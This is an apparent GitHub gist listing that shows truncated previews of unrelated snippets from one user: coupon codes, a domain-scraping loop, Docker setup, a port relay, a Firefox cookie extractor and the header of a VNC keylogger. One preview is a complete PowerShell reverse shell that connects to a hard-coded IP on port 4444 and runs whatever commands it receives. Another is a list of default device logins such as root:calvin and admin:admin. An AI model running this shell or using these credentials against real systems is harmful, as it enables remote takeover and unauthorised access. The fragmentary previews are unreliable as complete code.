Skip to content

Instantly share code, notes, and snippets.

@absane
absane / penglab.ipynb
Created June 15, 2020 21:30
Penglab-custom
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
10
10off
10off10
10off15
10off2020
10off30
10off40
10off50
15
15off
# for i in $(curl -s https://www.newsguardtech.com/coronavirus-misinformation-tracking-center/ | grep -oP '<li>.*</li>' | grep -oP '>[a-zA-Z0-9][a-zA-Z0-9-]{1,61}[a-zA-Z0-9]\.[a-zA-Z]{2,}' | tr '[[:upper:]]' '[[:lower:]]' | cut -d '>' -f2 | sort -u); do
# echo $i
# echo www.$i
# done > /tmp/foo
# sort /tmp/foo -o /tmp/hosts.txt
# cat /tmp/hosts.txt
21stcenturywire.com
24jours.com
activistpost.com
$client = New-Object System.Net.Sockets.TCPClient('192.241.193.93',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
root:calvin
root:root
root:toor
administrator:password
NetLinx:password
administrator:Amx1234!
amx:password
amx:Amx1234!
admin:1988
admin:admin
sudo docker network create -d macvlan \
--subnet=192.168.1.0/24 \
--gateway=192.168.1.1 \
-o parent=ovs_eth3 net_gateway
sudo docker run -d \
--name=unifi-controller \
-e PUID=1000 \
-e PGID=1000 \
-p 3478:3478/udp \
#!/usr/bin/env python3
##########
# A simple tool to extract particular cookies from firefox's cookies.sqlite
# file and dump them to a legacy Netscape cookies.txt file.
##########
# ver YYYY-MM-DD comment
# 0.9 2018-04-15 public release
#
##########
import sqlite3 as sql
#!/bin/sh -e
if [ $# != 3 ]
then
echo "usage: $0 <src-port> <dst-host> <dst-port>"
exit 0
fi
TMP=`mktemp -d`
BACK=$TMP/pipe.back
#!/bin/bash
function sortpercent {
cat | sort | uniq -c | sort -rn | awk '{s+=$1;lines=lines"\n"$0} END {printf "%d Total",s;print lines}' | awk '!max{max=$1}{s=$1/max*100;c=$1;$1="";printf "%30s %10d %7.2f%%\n",$0,c,s;}'
}
tempDatesFile=$(mktemp)
while read -r item; do
curl -s -X $'GET' \
-H $'Host: www.ui.com' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0' -H $'Accept: application/json, text/javascript, */*; q=0.01' -H $'Accept-Language: en-US,en;q=0.7,ko-KR;q=0.3' -H $'X-Requested-With: XMLHttpRequest' -H $'Referer: https://www.ui.com/download/unifi/unifi-ap' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' -H $'Te: trailers' \
#!/usr/bin/env python
# vnclogger.py - VNC Keylogger
# Jon Oberheide <jon@oberheide.org>
# http://jon.oberheide.org
import sys, time, signal, getopt, socket
import dpkt
import pcap
import pyevent